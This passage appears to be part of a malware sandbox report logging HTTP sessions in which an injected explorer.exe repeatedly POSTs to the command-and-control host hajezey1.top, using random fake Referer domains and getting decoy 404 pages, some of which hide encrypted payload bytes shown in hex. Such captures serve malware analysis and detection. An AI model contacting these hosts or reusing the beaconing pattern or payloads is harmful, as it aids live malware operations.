3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

23 192.168.2.6 49811 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:27.861905098 CEST

4479 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://okikkrhv.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 336
Host: hajezey1.top

Oct 29, 2021 
17:55:27.948240042 CEST

4480 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

24 192.168.2.6 49813 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:28.031367064 CEST

4481 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://pjlnqmhpvc.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 123
Host: hajezey1.top
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Oct 29, 2021 
17:55:28.111543894 CEST

4486 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:28 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 8e 5f 04 25 18 f5 aa 85 b9 a5 13 ea 0e 
cb 2d e5 00 0c cc 52 a2 bd 71 b6 64 50 06 b9 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 30I:82O_%-RqdP0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

25 192.168.2.6 49817 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:28.716156006 CEST

4821 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://hcgnyqptt.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 355
Host: hajezey1.top

Oct 29, 2021 
17:55:28.800472975 CEST

4903 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:28 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

26 192.168.2.6 49819 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:28.899774075 CEST

4904 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ithapmr.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 367
Host: hajezey1.top

Oct 29, 2021 
17:55:28.979908943 CEST

4906 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:28 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
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Session ID Source IP Source Port Destination IP Destination Port Process

27 192.168.2.6 49820 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:29.064220905 CEST

4908 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://gauqw.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 130
Host: hajezey1.top

Oct 29, 2021 
17:55:29.144377947 CEST

4909 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

28 192.168.2.6 49822 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:29.255841017 CEST

4911 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://vqosa.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 311
Host: hajezey1.top
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Oct 29, 2021 
17:55:29.337485075 CEST

4913 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 
8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 
e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b 
f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 
e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 
d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 
87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 
b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 
9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 
d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 
7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 
43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 
47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 
6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 
d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 
15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 
67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 
85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f 
ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 
bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 
3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 
3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 
54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8 
bf cb 67 3f d8 97 24 a9 b9 fc f0 ba e8 57 2d c8 a1 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1 
7d 87 02 f3 35 43 25 11 00 ac 49 1d 02 a1 b7 28 e4 f0 f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22 
27 c6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03 
62 53 b5 f8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14 
7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6c 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 e8 f0 85 a5 
46 e5 
Data Ascii: 1f66S(SW\/iP"&&grq|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'
}WpHk"HI?o|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTJMQCd%\!&Q#F<pvA>C/
CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bJR}Tzl9^\mc=>"}h`1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5lo?hs#9Acw
9kwN7&,XwlH%f4-ow^7Hg7;=g&9c0{%#=9FX?SCnv4ddOU^Tiz=p.jh"?Gqf<=g?$W-{ir[6dQ;}5C%I(A5:/b"'v(5Y5jobSxF/
Mv#JzB~&G};3l'ph;j=?xB{F

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

29 192.168.2.6 49828 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:31.193311930 CEST

5097 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://kdacdmichm.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 229
Host: hajezey1.top

Oct 29, 2021 
17:55:31.278789043 CEST

5098 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:31 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.6 49814 162.159.135.233 443 C:\Users\user\AppData\Local\Temp\37D8.exe
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Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

30 192.168.2.6 49829 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:31.369812965 CEST

5099 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fsluxk.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 240
Host: hajezey1.top

Oct 29, 2021 
17:55:31.452559948 CEST

5100 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:31 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

31 192.168.2.6 49832 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:31.959697962 CEST

5109 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://dpiqpnl.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 339
Host: hajezey1.top

Oct 29, 2021 
17:55:32.039067984 CEST

5474 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:32 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
